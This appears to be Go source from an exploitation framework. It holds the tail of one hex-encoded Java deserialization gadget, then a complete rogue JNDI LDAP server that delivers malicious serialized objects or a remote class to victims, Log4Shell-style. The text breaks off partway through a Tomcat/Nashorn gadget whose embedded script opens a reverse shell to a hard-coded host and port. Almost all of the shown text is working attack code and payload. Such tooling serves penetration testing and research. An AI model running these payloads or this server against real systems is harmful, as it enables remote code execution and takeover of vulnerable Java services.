"\x65\x52\x65\x73\x6f\x6c\x76\x65\x72\x7b\x81\x53\xc5\x9e\x62\x6a\xf9" + "\x02\x00\x03\x4c\x00\x06\x6d\x6f\x64\x75\x6c\x65\x74\x00\x12\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c" + "\x00\x04\x6e\x61\x6d\x65\x71\x00\x7e\x00\x0e\x4c\x00\x10\x75\x6e\x64" + "\x65\x72\x6c\x79\x69\x6e\x67\x5f\x63\x6c\x61\x73\x73\x74\x00\x11\x4c" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78" + "\x70\x74\x00\x0b\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x5f\x5f\x74\x00" + "\x0e\x69\x6e\x73\x74\x61\x6e\x63\x65\x6d\x65\x74\x68\x6f\x64\x76\x71" + "\x00\x7e\x00\x07\x73\x72\x00\x20\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f" + "\x6e\x2e\x63\x6f\x72\x65\x2e\x42\x75\x69\x6c\x74\x69\x6e\x46\x75\x6e" + "\x63\x74\x69\x6f\x6e\x73\x2e\xda\xd3\x8f\x33\xc1\x5d\xef\x02\x00\x00" + "\x78\x72\x00\x24\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f" + "\x72\x65\x2e\x50\x79\x42\x75\x69\x6c\x74\x69\x6e\x46\x75\x6e\x63\x74" + "\x69\x6f\x6e\x53\x65\x74\xa0\xc5\x98\x08\xd6\x6c\xf1\x09\x02\x00\x01" + "\x49\x00\x05\x69\x6e\x64\x65\x78\x78\x72\x00\x27\x6f\x72\x67\x2e\x70" + "\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x42\x75\x69\x6c" + "\x74\x69\x6e\x46\x75\x6e\x63\x74\x69\x6f\x6e\x4e\x61\x72\x72\x6f\x77" + "\xde\xfa\x41\x3d\xc2\x88\x97\x06\x02\x00\x00\x78\x72\x00\x21\x6f\x72" + "\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x42" + "\x75\x69\x6c\x74\x69\x6e\x46\x75\x6e\x63\x74\x69\x6f\x6e\x51\xa2\xd5" + "\x02\x4b\xda\x30\xe1\x02\x00\x00\x78\x72\x00\x21\x6f\x72\x67\x2e\x70" + "\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x42\x75\x69\x6c" + "\x74\x69\x6e\x43\x61\x6c\x6c\x61\x62\x6c\x65\xb2\xd9\xba\xd8\x71\x3f" + "\x92\x32\x02\x00\x02\x4c\x00\x03\x64\x6f\x63\x71\x00\x7e\x00\x0e\x4c" + "\x00\x04\x69\x6e\x66\x6f\x74\x00\x28\x4c\x6f\x72\x67\x2f\x70\x79\x74" + "\x68\x6f\x6e\x2f\x63\x6f\x72\x65\x2f\x50\x79\x42\x75\x69\x6c\x74\x69" + "\x6e\x43\x61\x6c\x6c\x61\x62\x6c\x65\x24\x49\x6e\x66\x6f\x3b\x78\x71" + "\x00\x7e\x00\x09\x70\x73\x71\x00\x7e\x00\x0d\x71\x00\x7e\x00\x11\x74" + "\x00\x1a\x62\x75\x69\x6c\x74\x69\x6e\x5f\x66\x75\x6e\x63\x74\x69\x6f" + "\x6e\x5f\x6f\x72\x5f\x6d\x65\x74\x68\x6f\x64\x76\x71\x00\x7e\x00\x18" + "\x70\x73\x72\x00\x2d\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63" + "\x6f\x72\x65\x2e\x50\x79\x42\x75\x69\x6c\x74\x69\x6e\x43\x61\x6c\x6c" + "\x61\x62\x6c\x65\x24\x44\x65\x66\x61\x75\x6c\x74\x49\x6e\x66\x6f\x8b" + "\xaa\xd5\xa6\xb1\x64\x28\x9e\x02\x00\x03\x49\x00\x07\x6d\x61\x78\x61" + "\x72\x67\x73\x49\x00\x07\x6d\x69\x6e\x61\x72\x67\x73\x4c\x00\x04\x6e" + "\x61\x6d\x65\x71\x00\x7e\x00\x0e\x78\x70\x00\x00\x00\x01\x00\x00\x00" + "\x01\x74\x00\x03\x72\x63\x65\x00\x00\x00\x12\x70\x73\x71\x00\x7e\x00" + "\x0d\x71\x00\x7e\x00\x11\x74\x00\x03\x73\x74\x72\x76\x72\x00\x18\x6f" + "\x72\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79" + "\x53\x74\x72\x69\x6e\x67\xd6\x8d\x65\x14\x47\x2d\xf1\x11\x02\x00\x02" + "\x4c\x00\x06\x65\x78\x70\x6f\x72\x74\x74\x00\x19\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x2f\x52\x65\x66\x65\x72\x65\x6e" + "\x63\x65\x3b\x4c\x00\x06\x73\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0e" + "\x78\x72\x00\x1c\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f" + "\x72\x65\x2e\x50\x79\x42\x61\x73\x65\x53\x74\x72\x69\x6e\x67\x24\x84" + "\x80\x35\x34\x24\x14\xed\x02\x00\x00\x78\x72\x00\x1a\x6f\x72\x67\x2e" + "\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x53\x65\x71" + "\x75\x65\x6e\x63\x65\x55\x5a\x4f\x14\x4e\x43\x3e\xe1\x02\x00\x01\x4c" + "\x00\x09\x64\x65\x6c\x65\x67\x61\x74\x6f\x72\x74\x00\x27\x4c\x6f\x72" + "\x67\x2f\x70\x79\x74\x68\x6f\x6e\x2f\x63\x6f\x72\x65\x2f\x53\x65\x71" + "\x75\x65\x6e\x63\x65\x49\x6e\x64\x65\x78\x44\x65\x6c\x65\x67\x61\x74" + "\x65\x3b\x78\x71\x00\x7e\x00\x09\x77\x04\x00\x00\x00\x03\x73\x71\x00" + "\x7e\x00\x23\x70\x71\x00\x7e\x00\x21\x73\x72\x00\x2f\x6f\x72\x67\x2e" + "\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x53\x65\x71" + "\x75\x65\x6e\x63\x65\x24\x44\x65\x66\x61\x75\x6c\x74\x49\x6e\x64\x65" + "\x78\x44\x65\x6c\x65\x67\x61\x74\x65\x6d\xea\x57\x2b\x0a\x72\xa6\x80" + "\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x1c\x4c\x6f" + "\x72\x67\x2f\x70\x79\x74\x68\x6f\x6e\x2f\x63\x6f\x72\x65\x2f\x50\x79" + "\x53\x65\x71\x75\x65\x6e\x63\x65\x3b\x78\x72\x00\x25\x6f\x72\x67\x2e" + "\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x53\x65\x71\x75\x65" + "\x6e\x63\x65\x49\x6e\x64\x65\x78\x44\x65\x6c\x65\x67\x61\x74\x65\xbd" + "\xf7\xd0\x89\x74\xda\xbf\x8e\x02\x00\x00\x78\x70\x71\x00\x7e\x00\x29" + "\x70\x74\x00\x38\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x63" + "\x6f\x64\x65\x27\x29\x2e\x49\x6e\x74\x65\x72\x61\x63\x74\x69\x76\x65" + "\x49\x6e\x74\x65\x72\x70\x72\x65\x74\x65\x72\x28\x29\x2e\x72\x75\x6e" + "\x63\x6f\x64\x65\x28\x63\x6d\x64\x29\x73\x72\x00\x1b\x6f\x72\x67\x2e" + "\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x50\x79\x53\x74\x72" + "\x69\x6e\x67\x4d\x61\x70\x91\x35\xc6\xcf\x24\x1d\x43\x33\x02\x00\x01" + "\x4c\x00\x05\x74\x61\x62\x6c\x65\x74\x00\x24\x4c\x6a\x61\x76\x61\x2f" + "\x75\x74\x69\x6c\x2f\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74\x2f\x43" + "\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74\x4d\x61\x70\x3b\x78\x72\x00\x1c" + "\x6f\x72\x67\x2e\x70\x79\x74\x68\x6f\x6e\x2e\x63\x6f\x72\x65\x2e\x41" + "\x62\x73\x74\x72\x61\x63\x74\x44\x69\x63\x74\x35\x2d\x79\xf3\x97\xd9" + "\x35\xeb\x02\x00\x00\x78\x71\x00\x7e\x00\x09\x70\x73\x71\x00\x7e\x00" + "\x0d\x71\x00\x7e\x00\x11\x74\x00\x09\x73\x74\x72\x69\x6e\x67\x6d\x61" + "\x70\x76\x71\x00\x7e\x00\x2f\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + "\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74\x2e\x43\x6f" + "\x6e\x63\x75\x72\x72\x65\x6e\x74\x48\x61\x73\x68\x4d\x61\x70\x64\x99" + "\xde\x12\x9d\x87\x29\x3d\x03\x00\x03\x49\x00\x0b\x73\x65\x67\x6d\x65" + "\x6e\x74\x4d\x61\x73\x6b\x49\x00\x0c\x73\x65\x67\x6d\x65\x6e\x74\x53" + "\x68\x69\x66\x74\x5b\x00\x08\x73\x65\x67\x6d\x65\x6e\x74\x73\x74\x00" + "\x31\x5b\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x63\x6f\x6e\x63" + "\x75\x72\x72\x65\x6e\x74\x2f\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74" + "\x48\x61\x73\x68\x4d\x61\x70\x24\x53\x65\x67\x6d\x65\x6e\x74\x3b\x78" + "\x70\x00\x00\x00\x0f\x00\x00\x00\x1c\x75\x72\x00\x31\x5b\x4c\x6a\x61" + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e" + "\x74\x2e\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74\x48\x61\x73\x68\x4d" + "\x61\x70\x24\x53\x65\x67\x6d\x65\x6e\x74\x3b\x52\x77\x3f\x41\x32\x9b" + "\x39\x74\x02\x00\x00\x78\x70\x00\x00\x00\x10\x73\x72\x00\x2e\x6a\x61" + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e" + "\x74\x2e\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74\x48\x61\x73\x68\x4d" + "\x61\x70\x24\x53\x65\x67\x6d\x65\x6e\x74\x1f\x36\x4c\x90\x58\x93\x29" + "\x3d\x02\x00\x01\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72" + "\x78\x72\x00\x28\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e" + "\x63\x75\x72\x72\x65\x6e\x74\x2e\x6c\x6f\x63\x6b\x73\x2e\x52\x65\x65" + "\x6e\x74\x72\x61\x6e\x74\x4c\x6f\x63\x6b\x66\x55\xa8\x2c\x2c\xc8\x6a" + "\xeb\x02\x00\x01\x4c\x00\x04\x73\x79\x6e\x63\x74\x00\x2f\x4c\x6a\x61" + "\x76\x61\x2f\x75\x74\x69\x6c\x2f\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e" + "\x74\x2f\x6c\x6f\x63\x6b\x73\x2f\x52\x65\x65\x6e\x74\x72\x61\x6e\x74" + "\x4c\x6f\x63\x6b\x24\x53\x79\x6e\x63\x3b\x78\x70\x73\x72\x00\x34\x6a" + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + "\x6e\x74\x2e\x6c\x6f\x63\x6b\x73\x2e\x52\x65\x65\x6e\x74\x72\x61\x6e" + "\x74\x4c\x6f\x63\x6b\x24\x4e\x6f\x6e\x66\x61\x69\x72\x53\x79\x6e\x63" + "\x65\x88\x32\xe7\x53\x7b\xbf\x0b\x02\x00\x00\x78\x72\x00\x2d\x6a\x61" + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e" + "\x74\x2e\x6c\x6f\x63\x6b\x73\x2e\x52\x65\x65\x6e\x74\x72\x61\x6e\x74" + "\x4c\x6f\x63\x6b\x24\x53\x79\x6e\x63\xb8\x1e\xa2\x94\xaa\x44\x5a\x7c" + "\x02\x00\x00\x78\x72\x00\x35\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e" + "\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e\x74\x2e\x6c\x6f\x63\x6b\x73\x2e" + "\x41\x62\x73\x74\x72\x61\x63\x74\x51\x75\x65\x75\x65\x64\x53\x79\x6e" + "\x63\x68\x72\x6f\x6e\x69\x7a\x65\x72\x66\x55\xa8\x43\x75\x3f\x52\xe3" + "\x02\x00\x01\x49\x00\x05\x73\x74\x61\x74\x65\x78\x72\x00\x36\x6a\x61" + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65\x6e" + "\x74\x2e\x6c\x6f\x63\x6b\x73\x2e\x41\x62\x73\x74\x72\x61\x63\x74\x4f" + "\x77\x6e\x61\x62\x6c\x65\x53\x79\x6e\x63\x68\x72\x6f\x6e\x69\x7a\x65" + "\x72\x33\xdf\xaf\xb9\xad\x6d\x6f\xa9\x02\x00\x00\x78\x70\x00\x00\x00" + "\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f" + "\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00" + "\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b" + "\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00" + "\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00" + "\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f" + "\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00" + "\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00" + "\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71" + "\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00" + "\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71" + "\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00" + "\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00" + "\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00" + "\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73\x71\x00\x7e" + "\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e\x00\x3b\x73" + "\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x73\x71\x00\x7e" + "\x00\x3b\x73\x71\x00\x7e\x00\x3f\x00\x00\x00\x00\x3f\x40\x00\x00\x74" + "\x00\x03\x63\x6d\x64\x73\x71\x00\x7e\x00\x23\x70\x71\x00\x7e\x00\x21" + "\x73\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x63\x70\x74" + transform.PackBigInt16(len(payload)) + payload + "\x70\x70\x78\x78" } ================================================ FILE: java/ldapjndi/ldapjndi.go ================================================ // This is an implementation of an evil JNDI LDAP server. The server accepts // connections and returned a malicious serialized object in response to // a search. Serialization is obviously native to Java. To work around this, // we pre-serialized some gadgets that use Nashorn as their sink. The desired // command is inserted into the pre-compiled gadget (and padded if needed). Not // perfect, but not half bad, I think. Inspiration from: // // * https://github.com/veracode-research/rogue-jndi // * https://github.com/For-ACGN/Log4Shell // * https://github.com/zzwlpx/JNDIExploit package ldapjndi import ( b64 "encoding/base64" "encoding/binary" "fmt" "io" "log" "net/http" "strconv" "strings" message "github.com/lor00x/goldap/message" ldap "github.com/vjeantet/ldapserver" "github.com/vulncheck-oss/go-exploit/java" "github.com/vulncheck-oss/go-exploit/output" ) // mapping of available pre-serialized gadgets. type GadgetName int const ( // org.apache.naming.factory.BeanFactory + javax.el.ELProcessor#eval (windows + Linux). TomcatNashornReverseShell GadgetName = 0 // org.apache.naming.factory.BeanFactory + javax.el.ELProcessor#eval (linux only). TomcatGenericBash GadgetName = 1 GroovyGenericBash GadgetName = 2 // org.apache.naming.factory.BeanFactory. BeanUtils194GenericBash GadgetName = 3 // load class via an HTTP server. HTTPReverseShell GadgetName = 4 // See implementation in java.JacksonGenericCommand. JacksonGenericCommand GadgetName = 5 ) // a dirty way to pass the user's desired gadget to `handleBind`. var GlobalSerializedPayload string // a dirty way to pass the user's desired name to `handleBind`. var GlobalName string // if the class is loaded from a secondary http server, this will be set. var GlobalHTTPServer string // automatically accept. func handleBind(w ldap.ResponseWriter, _ *ldap.Message) { output.PrintFrameworkSuccess("Received a bind request!") res := ldap.NewBindResponse(ldap.LDAPResultSuccess) w.Write(res) } // Accept the incoming request. Verify it is asking for the correct endpoint // and then send the user's requested gadget'. func handleSearch(writer ldap.ResponseWriter, msg *ldap.Message) { if len(GlobalSerializedPayload) == 0 { output.PrintFrameworkError("A serialized payload was never configured!") } req := msg.GetSearchRequest() dname := string(req.BaseObject()) if dname != GlobalName { output.PrintfFrameworkError("Received an unexpected request: %s != %s\n", dname, GlobalName) return } // send search result res := ldap.NewSearchResultEntry(dname) if strings.HasPrefix(GlobalSerializedPayload, "\xca\xfe\xba\xbe") { res.AddAttribute("javaClassName", "foo") res.AddAttribute("javaCodeBase", message.AttributeValue(GlobalHTTPServer)) res.AddAttribute("objectClass", "javaNamingReference") res.AddAttribute("javaFactory", message.AttributeValue(GlobalName)) } else { res.AddAttribute("javaClassName", "java.lang.String") res.AddAttribute("javaSerializedData", message.AttributeValue(GlobalSerializedPayload)) } writer.Write(res) done := ldap.NewSearchResultDoneResponse(ldap.LDAPResultSuccess) writer.Write(done) output.PrintFrameworkSuccess("Serialized payload sent!") } func CreateLDAPServer(name string) *ldap.Server { // disable logging from the ldap implementation ldap.Logger = log.New(io.Discard, "", 0) server := ldap.NewServer() if server == nil { return nil } // attach our functions to bind and search routes := ldap.NewRouteMux() routes.Bind(handleBind) routes.Search(handleSearch) server.Handle(routes) // set a name so that we aren't tossing exploits at just anyone GlobalName = name return server } func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) { switch gadget { case TomcatNashornReverseShell: GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport) case TomcatGenericBash: GlobalSerializedPayload = createTomcatGenericGadget(command) case GroovyGenericBash: GlobalSerializedPayload = createGroovyGenericBash(command) case BeanUtils194GenericBash: GlobalSerializedPayload = createBeanUtils194GenericBash(command) case JacksonGenericCommand: var err error if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil { output.PrintFrameworkError(err.Error()) } case HTTPReverseShell: fallthrough default: output.PrintFrameworkError("[-] Invalid payload") } } func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost string, httpPort int) { switch gadget { case HTTPReverseShell: GlobalSerializedPayload = createHTTPReverseShell(lhost, lport, GlobalName) case TomcatNashornReverseShell: fallthrough case TomcatGenericBash: fallthrough case GroovyGenericBash: fallthrough case BeanUtils194GenericBash: fallthrough case JacksonGenericCommand: fallthrough default: output.PrintFrameworkError("Invalid payload") return } GlobalHTTPServer = "http://" + httpHost + ":" + strconv.Itoa(httpPort) + "/" http.HandleFunc("/"+GlobalName+".class", func(w http.ResponseWriter, _ *http.Request) { fmt.Fprint(w, GlobalSerializedPayload) }) output.PrintfFrameworkStatus("Starting HTTP Server on %s:%d", httpHost, httpPort) httpFunc := func(httpHost string, httpPort int) { _ = http.ListenAndServe(httpHost+":"+strconv.Itoa(httpPort), nil) } go httpFunc(httpHost, httpPort) } // this function creates a org.apache.naming.factory.BeanFactory + javax.el.ELProcessor#eval // payload that will execute a nashorn payload. The payload is a reverse shell. This gadget // has been pre-compiled (because we aren't executing from java). To make this work, the // function replaces three values that already exist in the binary. Specifically: // "cmd.exe" -> binary // "10.9.49.242" -> lhost // 1270 -> lport // The change in size will then be accounted for in the padding variable. func createTomcatNashornReverseShell(binary, lhost string, lport int) string { shellPayload := "\xac\xed" + "\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" + "\x52\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x78\x72" + "\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x6e\x61\x6d" + "\x69\x6e\x67\x2e\x41\x62\x73\x74\x72\x61\x63\x74\x52\x65\x66\x00" + "\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x78\x72\x00\x16\x6a\x61" + "\x76\x61\x78\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x66\x65\x72" + "\x65\x6e\x63\x65\xe8\xc6\x9e\xa2\xa8\xe9\x8d\x09\x02\x00\x04\x4c" + "\x00\x05\x61\x64\x64\x72\x73\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f" + "\x75\x74\x69\x6c\x2f\x56\x65\x63\x74\x6f\x72\x3b\x4c\x00\x0c\x63" + "\x6c\x61\x73\x73\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x12\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b" + "\x4c\x00\x14\x63\x6c\x61\x73\x73\x46\x61\x63\x74\x6f\x72\x79\x4c" + "\x6f\x63\x61\x74\x69\x6f\x6e\x71\x00\x7e\x00\x04\x4c\x00\x09\x63" + "\x6c\x61\x73\x73\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x78\x70\x73" + "\x72\x00\x10\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x56\x65\x63" + "\x74\x6f\x72\xd9\x97\x7d\x5b\x80\x3b\xaf\x01\x03\x00\x03\x49\x00" + "\x11\x63\x61\x70\x61\x63\x69\x74\x79\x49\x6e\x63\x72\x65\x6d\x65" + "\x6e\x74\x49\x00\x0c\x65\x6c\x65\x6d\x65\x6e\x74\x43\x6f\x75\x6e" + "\x74\x5b\x00\x0b\x65\x6c\x65\x6d\x65\x6e\x74\x44\x61\x74\x61\x74" + "\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" + "\x6a\x65\x63\x74\x3b\x78\x70\x00\x00\x00\x00\x00\x00\x00\x05\x75" + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f" + "\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00" + "\x00\x78\x70\x00\x00\x00\x0a\x73\x72\x00\x1a\x6a\x61\x76\x61\x78" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x52\x65" + "\x66\x41\x64\x64\x72\x84\x4b\xf4\x3c\xe1\x11\xdc\xc9\x02\x00\x01" + "\x4c\x00\x08\x63\x6f\x6e\x74\x65\x6e\x74\x73\x71\x00\x7e\x00\x04" + "\x78\x72\x00\x14\x6a\x61\x76\x61\x78\x2e\x6e\x61\x6d\x69\x6e\x67" + "\x2e\x52\x65\x66\x41\x64\x64\x72\xeb\xa0\x07\x9a\x02\x38\xaf\x4a" + "\x02\x00\x01\x4c\x00\x08\x61\x64\x64\x72\x54\x79\x70\x65\x71\x00" + "\x7e\x00\x04\x78\x70\x74\x00\x05\x73\x63\x6f\x70\x65\x74\x00\x00" + "\x73\x71\x00\x7e\x00\x0b\x74\x00\x04\x61\x75\x74\x68\x71\x00\x7e" + "\x00\x0f\x73\x71\x00\x7e\x00\x0b\x74\x00\x09\x73\x69\x6e\x67\x6c" + "\x65\x74\x6f\x6e\x74\x00\x04\x74\x72\x75\x65\x73\x71\x00\x7e\x00" + "\x0b\x74\x00\x0b\x66\x6f\x72\x63\x65\x53\x74\x72\x69\x6e\x67\x74" + "\x00\x06\x78\x3d\x65\x76\x61\x6c\x73\x71\x00\x7e\x00\x0b\x74\x00" + "\x01\x78\x74\x02\xad\x7b\x22\x22\x2e\x67\x65\x74\x43\x6c\x61\x73" + "\x73\x28\x29\x2e\x66\x6f\x72\x4e\x61\x6d\x65\x28\x22\x6a\x61\x76" + "\x61\x78\x2e\x73\x63\x72\x69\x70\x74\x2e\x53\x63\x72\x69\x70\x74" + "\x45\x6e\x67\x69\x6e\x65\x4d\x61\x6e\x61\x67\x65\x72\x22\x29\x2e" + "\x6e\x65\x77\x49\x6e\x73\x74\x61\x6e\x63\x65\x28\x29\x2e\x67\x65" + "\x74\x45\x6e\x67\x69\x6e\x65\x42\x79\x4e\x61\x6d\x65\x28\x22\x4a" + "\x61\x76\x61\x53\x63\x72\x69\x70\x74\x22\x29\x2e\x65\x76\x61\x6c" + "\x28\x27\x76\x61\x72\x20\x68\x6f\x73\x74\x3d\x22\x31\x30\x2e\x39" + "\x2e\x34\x39\x2e\x32\x34\x32\x22\x3b\x76\x61\x72\x20\x70\x6f\x72" + "\x74\x3d\x31\x32\x37\x30\x3b\x76\x61\x72\x20\x63\x6d\x64\x3d\x22" + "\x63\x6d\x64\x2e\x65\x78\x65\x22\x3b\x76\x61\x72\x20\x70\x3d\x6e" + "\x65\x77\x20\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x50\x72\x6f" + "\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x28\x63\x6d\x64\x29" + "\x2e\x72\x65\x64\x69\x72\x65\x63\x74\x45\x72\x72\x6f\x72\x53\x74" + "\x72\x65\x61\x6d\x28\x74\x72\x75\x65\x29\x2e\x73\x74\x61\x72\x74" + "\x28\x29\x3b\x76\x61\x72\x20\x73\x3d\x6e\x65\x77\x20\x6a\x61\x76" + "\x61\x2e\x6e\x65\x74\x2e\x53\x6f\x63\x6b\x65\x74\x28\x68\x6f\x73" + "\x74\x2c\x70\x6f\x72\x74\x29\x3b\x76\x61\x72\x20\x70\x69\x3d\x70" + "\x2e\x67\x65\x74\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28" + "\x29\x2c\x70\x65\x3d\x70\x2e\x67\x65\x74\x45\x72\x72\x6f\x72\x53" + "\x74\x72\x65\x61\x6d\x28\x29\x2c\x20\x73\x69\x3d\x73\x2e\x67\x65" + "\x74\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x3b\x76" + "\x61\x72\x20\x70\x6f\x3d\x70\x2e\x67\x65\x74\x4f\x75\x74\x70\x75" + "\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x2c\x73\x6f\x3d\x73\x2e\x67" + "\x65\x74\x4f\x75\x74\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29" + "\x3b\x77\x68\x69\x6c\x65\x28\x21\x73\x2e\x69\x73\x43\x6c\x6f\x73" + "\x65\x64\x28\x29\x29\x7b\x77\x68\x69\x6c\x65\x28\x70\x69\x2e\x61" + "\x76\x61\x69\x6c\x61\x62\x6c\x65\x28\x29\x3e\x30\x29\x73\x6f\x2e" + "\x77\x72\x69\x74\x65\x28\x70\x69\x2e\x72\x65\x61\x64\x28\x29\x29" + "\x3b\x77\x68\x69\x6c\x65\x28\x70\x65\x2e\x61\x76\x61\x69\x6c\x61" + "\x62\x6c\x65\x28\x29\x3e\x30\x29\x73\x6f\x2e\x77\x72\x69\x74\x65" + "\x28\x70\x65\x2e\x72\x65\x61\x64\x28\x29\x29\x3b\x77\x68\x69\x6c" + "\x65\x28\x73\x69\x2e\x61\x76\x61\x69\x6c\x61\x62\x6c\x65\x28\x29" + "\x3e\x30\x29\x70\x6f\x2e\x77\x72\x69\x74\x65\x28\x73\x69\x2e\x72" + "\x65\x61\x64\x28\x29\x29\x3b\x73\x6f\x2e\x66\x6c\x75\x73\x68\x28" + "\x29\x3b\x70\x6f\x2e\x66\x6c\x75\x73\x68\x28\x29\x3b\x6a\x61\x76" + "\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64\x2e\x73\x6c" + "\x65\x65\x70\x28\x35\x30\x29\x3b\x74\x72\x79\x20\x7b\x70\x2e\x65" + "\x78\x69\x74\x56\x61\x6c\x75\x65\x28\x29\x3b\x62\x72\x65\x61\x6b" + "\x3b\x7d\x63\x61\x74\x63\x68\x20\x28\x65\x29\x7b\x7d\x7d\x3b\x70" + "\x2e\x64\x65\x73\x74\x72\x6f\x79\x28\x29\x3b\x73\x2e\x63\x6c\x6f" + "\x73\x65\x28\x29\x3b\x76\x61\x72\x20\x70\x61\x64\x64\x69\x6e\x67" + "\x3d\x22\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x22\x27" + 